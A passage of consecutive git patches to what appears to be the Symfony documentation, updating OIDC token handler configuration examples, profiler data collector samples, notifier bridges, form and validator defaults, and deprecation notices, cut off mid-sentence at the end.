-                            </oidc-user-info>
-                        </token-handler>
+                        <token-handler oidc-user-info="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
                     </access-token>
                 </firewall>
             </config>
@@ -418,9 +412,7 @@ and retrieve the user info:
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler()
-                        ->oidcUserInfo()
-                            ->client()
-                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+                        ->oidcUserInfo('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
             ;
         };
 
@@ -439,8 +431,7 @@ identifier by default. To use another claim, specify it on the configuration:
                         token_handler:
                             oidc_user_info:
                                 claim: email
-                                client:
-                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+                                base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
 
     .. code-block:: xml
 
@@ -458,9 +449,7 @@ identifier by default. To use another claim, specify it on the configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc-user-info claim="email">
-                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
-                            </oidc-user-info>
+                            <oidc-user-info claim="email" base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
                         </token-handler>
                     </access-token>
                 </firewall>
@@ -478,13 +467,12 @@ identifier by default. To use another claim, specify it on the configuration:
                     ->tokenHandler()
                         ->oidcUserInfo()
                             ->claim('email')
-                            ->client()
-                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+                            ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
             ;
         };
 
 The ``oidc_user_info`` token handler automatically creates an HTTP client with
-the specified configuration. If you prefer using your own client, you can
+the specified ``base_uri``. If you prefer using your own client, you can
 specify the service name via the ``client`` option:
 
 .. configuration-block::
@@ -583,11 +571,14 @@ it and retrieve the user info from it:
                     access_token:
                         token_handler:
                             oidc:
-                                signature:
-                                    # Algorithm used to sign the JWS
-                                    algorithm: 'HS256'
-                                    # A JSON-encoded JWK
-                                    key: '{"kty":"...","k":"..."}'
+                                # Algorithm used to sign the JWS
+                                algorithm: 'ES256'
+                                # A JSON-encoded JWK
+                                key: '{"kty":"...","k":"..."}'
+                                # Audience (`aud` claim): required for validation purpose
+                                audience: 'api-example'
+                                # Issuers (`iss` claim): required for validation purpose
+                                issuers: ['https://oidc.example.com']
 
     .. code-block:: xml
 
@@ -605,8 +596,12 @@ it and retrieve the user info from it:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc>
-                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            <!-- Algorithm used to sign the JWS -->
+                            <!-- A JSON-encoded JWK -->
+                            <!-- Audience (`aud` claim): required for validation purpose -->
+                            <oidc algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                                <!-- Issuers (`iss` claim): required for validation purpose -->
+                                <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
                     </access-token>
@@ -624,9 +619,14 @@ it and retrieve the user info from it:
                 ->accessToken()
                     ->tokenHandler()
                         ->oidc()
-                            ->signature()
-                                ->algorithm('HS256')
-                                ->key('{"kty":"...","k":"..."}')
+                            // Algorithm used to sign the JWS
+                            ->algorithm('ES256')
+                            // A JSON-encoded JWK
+                            ->key('{"kty":"...","k":"..."}')
+                            // Audience (`aud` claim): required for validation purpose
+                            ->audience('api-example')
+                            // Issuers (`iss` claim): required for validation purpose
+                            ->issuers(['https://oidc.example.com'])
             ;
         };
 
@@ -646,9 +646,10 @@ configuration:
                         token_handler:
                             oidc:
                                 claim: email
-                                signature:
-                                    algorithm: 'HS256'
-                                    key: '{"kty":"...","k":"..."}'
+                                algorithm: 'ES256'
+                                key: '{"kty":"...","k":"..."}'
+                                audience: 'api-example'
+                                issuers: ['https://oidc.example.com']
 
     .. code-block:: xml
 
@@ -666,8 +667,8 @@ configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc claim="email">
-                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            <oidc claim="email" algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                                <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
                     </access-token>
@@ -686,70 +687,10 @@ configuration:
                     ->tokenHandler()
                         ->oidc()
                             ->claim('email')
-                            ->signature()
-                                ->algorithm('HS256')
-                                ->key('{"kty":"...","k":"..."}')
-            ;
-        };
-
-The ``oidc`` token handler also checks for the token audience. By default, this
-audience is optional. To enable this check, add the ``audience`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            firewalls:
-                main:
-                    access_token:
-                        token_handler:
-                            oidc:
-                                audience: 'My audience'
-                                signature:
-                                    algorithm: 'HS256'
-                                    key: '{"kty":"...","k":"..."}'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main">
-                    <access-token>
-                        <token-handler>
-                            <oidc audience="My audience">
-                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
-                            </oidc>
-                        </token-handler>
-                    </access-token>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('main')
-                ->accessToken()
-                    ->tokenHandler()
-                        ->oidc()
-                            ->audience('My audience')
-                            ->signature()
-                                ->algorithm('HS256')
-                                ->key('{"kty":"...","k":"..."}')
+                            ->algorithm('ES256')
+                            ->key('{"kty":"...","k":"..."}')
+                            ->audience('api-example')
+                            ->issuers(['https://oidc.example.com'])
             ;
         };
 

From 714c297a08cb72fa606af598dc16a0c1bfdab32a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 16:45:27 +0200
Subject: [PATCH 3454/5766] [Frontend] Fix the syntax of the intro table

---
 frontend.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 60c83a8e714..e3a9ac2326f 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -25,14 +25,16 @@ Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes [#1]_
-Supports TypeScript               yes                no [#1]_
+Supports React, Vue, Svelte?      yes                yes (but read note below)
+Supports TypeScript               yes                no (but read note below)
 ================================  =================  ======================================================
 
-.. [#1] Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
-        need to use their native tools for pre-compilation. Also, some features (like
-        Vue single-file components) cannot be compiled down to pure JavaScript that can
-        be executed by a browser.
+.. note::
+
+    Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+    need to use their native tools for pre-compilation. Also, some features (like
+    Vue single-file components) cannot be compiled down to pure JavaScript that can
+    be executed by a browser.
 
 .. _frontend-webpack-encore:
 

From 4cb24b9d9383d661401d2cdd46ddaef15a71d057 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Fri, 30 Jun 2023 08:43:53 +0200
Subject: [PATCH 3455/5766] [Profiler] [DataCollector] document `cloneVar` &
 `profiler_dump`

---
 profiler.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/profiler.rst b/profiler.rst
index f14fdcee0a7..b3ada048ea8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -360,6 +360,13 @@ template access to the collected information::
         {
             return $this->data['acceptable_content_types'];
         }
+
+        // In case you want to dump collected data in the profiler
+        // you can leverage this function
+        public function getObject()
+        {
+             return $this->cloneVar($this->data['method']);
+        }
     }
 
 In the simplest case, you want to display the information in the toolbar
@@ -463,6 +470,11 @@ must also define additional blocks:
                 <td>{{ type }}</td>
             </tr>
             {% endfor %}
+
+            {# In case of specific object, you can leverage the profiler_dump() function #}
+            <tr>
+                {{ profiler_dump(collector.object) }}
+            </tr>
         </table>
     {% endblock %}
 

From 09ccaf48ae15438ac313e9c387b01b9b0e54259d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 17:04:49 +0200
Subject: [PATCH 3456/5766] Tweaks

---
 profiler.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index b3ada048ea8..32ccc622ce8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -361,10 +361,9 @@ template access to the collected information::
             return $this->data['acceptable_content_types'];
         }
 
-        // In case you want to dump collected data in the profiler
-        // you can leverage this function
-        public function getObject()
+        public function getSomeObject()
         {
+            // use the cloneVar() method to dump collected data in the profiler
              return $this->cloneVar($this->data['method']);
         }
     }
@@ -471,9 +470,9 @@ must also define additional blocks:
             </tr>
             {% endfor %}
 
-            {# In case of specific object, you can leverage the profiler_dump() function #}
+            {# use the profiler_dump() function to render the contents of dumped objects #}
             <tr>
-                {{ profiler_dump(collector.object) }}
+                {{ profiler_dump(collector.someObject) }}
             </tr>
         </table>
     {% endblock %}

From 79d6e735072b3d13af7cccac20e8b6abc1de343a Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Wed, 26 Apr 2023 09:27:22 +0200
Subject: [PATCH 3457/5766] [Notifier] Add Ntfy bridge

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 25b03445054..27a10a2a766 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -431,6 +431,7 @@ Service          Package                               DSN
 `Engagespot`_    ``symfony/engagespot-notifier``       ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
 `Novu`_          ``symfony/novu-notifier``             ``novu://API_KEY@default``
+`Ntfy`_          ``symfony/ntfy-notifier``             ``ntfy://default/TOPIC``
 `OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 `PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
@@ -446,7 +447,7 @@ Service          Package                               DSN
 
 .. versionadded:: 6.4
 
-    The Novu integration was introduced in Symfony 6.4.
+    The Novu and Ntfy integrations were introduced in Symfony 6.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -1009,6 +1010,7 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Novu`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Novu/README.md
+.. _`Ntfy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Ntfy/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md

From b7297ecec9f893c60bdfd58c68789038b8d85998 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 17:40:34 +0200
Subject: [PATCH 3458/5766] [FrameworkBundle] Deprecate terminate_on_cache_hit
 option

---
 reference/configuration/framework.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce08ef2f11a..0fc4f6223f6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -171,6 +171,11 @@ bootstrap the Symfony framework on a cache hit.
 
     The ``terminate_on_cache_hit`` option was introduced in Symfony 6.2.
 
+.. deprecated:: 6.2
+
+    Setting the ``terminate_on_cache_hit`` option to ``true`` was deprecated in
+    Symfony 6.2 and the option will be removed in Symfony 7.0.
+
  .. _configuration-framework-http_method_override:
 
 http_method_override

From 86ed5fee32ab500e5b38d6265f9082d89314e3e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 17:58:39 +0200
Subject: [PATCH 3459/5766] Deprecate all occurrences of
 ArgumentValueResolverInterface

---
 components/http_kernel.rst | 11 +++++++++--
 reference/dic_tags.rst     |  9 ++++++++-
 2 files changed, 17 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 2bb972e057a..2c3e5266a20 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -340,12 +340,19 @@ of arguments that should be passed when executing that callable.
        available through the `variadic`_ argument.
 
     This functionality is provided by resolvers implementing the
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`.
+    :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`.
     There are four implementations which provide the default behavior of
     Symfony but customization is the key here. By implementing the
-    ``ArgumentValueResolverInterface`` yourself and passing this to the
+    ``ValueResolverInterface`` yourself and passing this to the
     ``ArgumentResolver``, you can extend this functionality.
 
+    .. versionadded:: 6.2
+
+        The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
+        6.2, you had to use the
+        :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
+        which defines different methods.
+
 .. _component-http-kernel-calling-controller:
 
 5) Calling the Controller
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index bd963249113..cdbb7788032 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -333,10 +333,17 @@ controller.argument_value_resolver
 **Purpose**: Register a value resolver for controller arguments such as ``Request``
 
 Value resolvers implement the
-:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
 :doc:`/controller/argument_value_resolver`.
 
+.. versionadded:: 6.2
+
+    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
+    6.2, you had to use the
+    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
+    which defines different methods.
+
 data_collector
 --------------
 

From cae60d7f61518037e75cb523c1e8edf4733dfc47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 08:23:48 +0200
Subject: [PATCH 3460/5766] Fix an RST syntax issue

---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 32ccc622ce8..772a01d21c3 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -364,7 +364,7 @@ template access to the collected information::
         public function getSomeObject()
         {
             // use the cloneVar() method to dump collected data in the profiler
-             return $this->cloneVar($this->data['method']);
+            return $this->cloneVar($this->data['method']);
         }
     }
 

From 0ec56cd0aae64a3d58c680b1538d0ba2fad66f9a Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 5 Jul 2023 08:56:28 +0200
Subject: [PATCH 3461/5766] [Encore] Webpack Dev Server & Symfony CLI HTTPS:
 add note for Node 17+

---
 frontend/encore/dev-server.rst | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 52a4fa83b05..6fcdaee6fd6 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -58,7 +58,6 @@ method in your ``webpack.config.js`` file:
         })
     ;
 
-
 Enabling HTTPS using the Symfony Web Server
 -------------------------------------------
 
@@ -84,6 +83,19 @@ server SSL certificate:
     +         }
     +     })
 
+.. note::
+
+    If you are using Node.js 17 or newer, you have to run the ``dev-server`` command with the
+    ``--openssl-legacy-provider`` option:
+
+    .. code-block:: terminal
+
+        # if you use the Yarn package manager
+        $ NODE_OPTIONS=--openssl-legacy-provider yarn encore dev-server
+
+        # if you use the npm package manager
+        $ NODE_OPTIONS=--openssl-legacy-provider npm run dev-server
+
 CORS Issues
 -----------
 

From f24c16038a8410b66f8d45553a1659084687af95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 09:10:28 +0200
Subject: [PATCH 3462/5766] [Validator] Remove the deprecated
 VALIDATION_MODE_LOOSE

---
 reference/configuration/framework.rst |  7 +------
 reference/constraints/Email.rst       | 10 +---------
 2 files changed, 2 insertions(+), 15 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 74de9fc1094..5c7eafe5531 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2619,12 +2619,7 @@ constraint verifies the submitted string entropy is matching the minimum entropy
 email_validation_mode
 .....................
 
-**type**: ``string`` **default**: ``loose``
-
-.. deprecated:: 6.2
-
-    The ``loose`` default value is deprecated since Symfony 6.2. Starting from
-    Symfony 7.0, the default value of this option will be ``html5``.
+**type**: ``string`` **default**: ``html5``
 
 Sets the default value for the
 :ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 19b1579b88a..3f4207471c1 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -104,13 +104,10 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: (see below)
+**type**: ``string`` **default**: ``html5``
 
 This option defines the pattern used to validate the email address. Valid values are:
 
-* ``loose`` uses a simple regular expression (just checks that at least one ``@``
-  character is present, etc.). This validation is too simple and it's recommended
-  to use one of the other modes instead;
 * ``html5`` uses the regular expression of the `HTML5 email input element`_,
   except it enforces a tld to be present.
 * ``html5-allow-no-tld`` uses exactly the same regular expression as the `HTML5 email input element`_,
@@ -133,11 +130,6 @@ The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.
 
-.. deprecated:: 6.2
-
-    The ``loose`` value is deprecated since Symfony 6.2. Starting from
-    Symfony 7.0, the default value of this option will be ``html5``.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From c343e4406f50052f48bbcc0875d352e1fa3aaff7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 09:23:52 +0200
Subject: [PATCH 3463/5766] Fix a diff example in Page Creation article

---
 page_creation.rst | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 06b7bf4292a..ede8be35c2d 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -62,23 +62,21 @@ so that the ``number()`` method is called when a user browses to it. This associ
 is defined with the ``#[Route]`` attribute (in PHP, `attributes`_ are used to add
 metadata to code):
 
-.. configuration-block::
-
-    .. code-block:: php-attributes
+.. code-block:: diff
 
-        // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-        // ...
-        + use Symfony\Component\Routing\Annotation\Route;
+      // ...
+    + use Symfony\Component\Routing\Annotation\Route;
 
-        class LuckyController
-        {
-        +   #[Route('/lucky/number')]
-            public function number(): Response
-            {
-                // this looks exactly the same
-            }
-        }
+      class LuckyController
+      {
+    +     #[Route('/lucky/number')]
+          public function number(): Response
+          {
+              // this looks exactly the same
+          }
+      }
 
 That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
 

From 0612308de36ebc594f10d21e38650798a9760c39 Mon Sep 17 00:00:00 2001
From: Greg Berger <berger.gregory@gmail.com>
Date: Wed, 5 Jul 2023 12:05:59 +0200
Subject: [PATCH 3464/5766] Update Unique.rst

Typo in Attribute `fields` code example
---
 reference/constraints/Unique.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 5c894bcc443..2fef2bf31ad 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -120,7 +120,7 @@ collection::
 
         class Poi
         {
-            #[Assert\Unique(fields=['latitude', 'longitude'])]
+            #[Assert\Unique(fields: ['latitude', 'longitude'])]
             protected array $coordinates;
         }
 

From 1d6ff9c0ab4142b6f092853dff867d9691c52783 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 12:19:26 +0200
Subject: [PATCH 3465/5766] Rename a class

---
 reference/constraints/Unique.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 2fef2bf31ad..1f5631abc95 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -113,12 +113,12 @@ collection::
 
     .. code-block:: php-attributes
 
-        // src/Entity/Poi.php
+        // src/Entity/PointOfInterest.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Poi
+        class PointOfInterest
         {
             #[Assert\Unique(fields: ['latitude', 'longitude'])]
             protected array $coordinates;
@@ -127,7 +127,7 @@ collection::
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Poi:
+        App\Entity\PointOfInterest:
             properties:
                 coordinates:
                     - Unique:
@@ -141,7 +141,7 @@ collection::
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Poi">
+            <class name="App\Entity\PointOfInterest">
                 <property name="coordinates">
                     <constraint name="Unique">
                         <option name="fields">
@@ -155,13 +155,13 @@ collection::
 
     .. code-block:: php
 
-        // src/Entity/Poi.php
+        // src/Entity/PointOfInterest.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Poi
+        class PointOfInterest
         {
             // ...
 

From bf08b822825de7d8272ef47a76f159133a6f9252 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 13:08:30 +0200
Subject: [PATCH 3466/5766] [Form] Remove the deprecated renderForm() shortcut

---
 forms.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/forms.rst b/forms.rst
index 806d1f47bb2..3c062c76e98 100644
--- a/forms.rst
+++ b/forms.rst
@@ -282,13 +282,6 @@ Now that the form has been created, the next step is to render it::
 Internally, the ``render()`` method calls ``$form->createView()`` to
 transform the form into a *form view* instance.
 
-.. deprecated:: 6.2
-
-    Prior to Symfony 6.2, you had to use ``$this->render(..., ['form' => $form->createView()])``
-    or the ``renderForm()`` method to render the form. The ``renderForm()``
-    method is deprecated in favor of directly passing the ``FormInterface``
-    instance to ``render()``.
-
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 

From e6f6bbd9f584083ed327dd967de582bca7508a9a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Jul 2023 14:02:31 +0200
Subject: [PATCH 3467/5766] Remove `terminate_on_cache_hit` option.

---
 reference/configuration/framework.rst | 21 ---------------------
 1 file changed, 21 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0b8fd4b0bac..82e87b67f0b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -167,27 +167,6 @@ which the cache can serve a stale response when an error is encountered
 (default: 60). This setting is overridden by the stale-if-error HTTP
 Cache-Control extension (see RFC 5861).
 
-terminate_on_cache_hit
-......................
-
-**type**: ``boolean`` **default**: ``true``
-
-If ``true``, the :ref:`kernel.terminate <component-http-kernel-kernel-terminate>`
-event is dispatched even when the cache is hit.
-
-Unless your application needs to process events on cache hits, it's recommended
-to set this to ``false`` to improve performance, because it avoids having to
-bootstrap the Symfony framework on a cache hit.
-
-.. versionadded:: 6.2
-
-    The ``terminate_on_cache_hit`` option was introduced in Symfony 6.2.
-
-.. deprecated:: 6.2
-
-    Setting the ``terminate_on_cache_hit`` option to ``true`` was deprecated in
-    Symfony 6.2 and the option will be removed in Symfony 7.0.
-
  .. _configuration-framework-http_method_override:
 
 http_method_override

From 950b472e3edaad0dff29869c361cdd6337b2c39f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 14:52:55 +0200
Subject: [PATCH 3468/5766] =?UTF-8?q?[Form]=C2=A0Deprecate=20not=20setting?=
 =?UTF-8?q?=20a=20value=20for=20widget=20option=20of=20date/time=20types?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../forms/types/options/date_widget_description.rst.inc      | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc
index b86bdde5a0e..a60a24a3f83 100644
--- a/reference/forms/types/options/date_widget_description.rst.inc
+++ b/reference/forms/types/options/date_widget_description.rst.inc
@@ -10,3 +10,8 @@ following:
 
 * ``single_text``: renders a single input of type ``date``. User's input
   is validated based on the `format`_ option.
+
+.. deprecated:: 6.3
+
+    Not setting a value explicitly for this option is deprecated since Symfony 6.3
+    because the default value will change to ``single_text`` in Symfony 7.0.

From 1ef9746c19cb52993f6b706dd398e6ca2ae45a5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 14:58:01 +0200
Subject: [PATCH 3469/5766] [Form] Update the default value of widget option in
 date/time types

---
 reference/forms/types/options/date_widget_description.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc
index b86bdde5a0e..956ad8c7148 100644
--- a/reference/forms/types/options/date_widget_description.rst.inc
+++ b/reference/forms/types/options/date_widget_description.rst.inc
@@ -1,4 +1,4 @@
-**type**: ``string`` **default**: ``choice``
+**type**: ``string`` **default**: ``single_text``
 
 The basic way in which this field should be rendered. Can be one of the
 following:

From dba6819cc13f53e24dd7aa699fe4b4fedf6c55da Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:03:53 +0200
Subject: [PATCH 3470/5766] Deprecate not setting a value for
 http_method_override option

---
 reference/configuration/framework.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0fc4f6223f6..64fa5884a7d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -196,6 +196,11 @@ The **default value** is:
 * ``false``, if you've created a new Symfony application or updated the Symfony
   Flex recipes. This is also the default value starting from Symfony 7.0.
 
+.. deprecated:: 6.1
+
+    Not setting a value explicitly for this option is deprecated since Symfony 6.1
+    because the default value will change to ``false`` in Symfony 7.0.
+
 .. seealso::
 
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
@@ -219,7 +224,6 @@ The **default value** is:
         $request = Request::createFromGlobals();
         // ...
 
-
  .. _configuration-framework-http_method_override:
 
 trust_x_sendfile_type_header

From 623f7fba37ead125aa98d54f5452835fea78b14a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:32:57 +0200
Subject: [PATCH 3471/5766] [Translation] Deprecate the PhpExtractor

---
 reference/dic_tags.rst | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index cdbb7788032..7b953e20e3c 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1071,9 +1071,22 @@ file
 
 When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
-has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a
-:class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which
-help to find and extract translation keys from Twig templates and PHP files.
+has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a PHP
+extractor to find and extract translation keys from Twig templates and PHP files.
+
+Symfony includes two PHP extractors: :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`
+and :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`. The
+first one is simple but doesn't require to install any packages; the second one
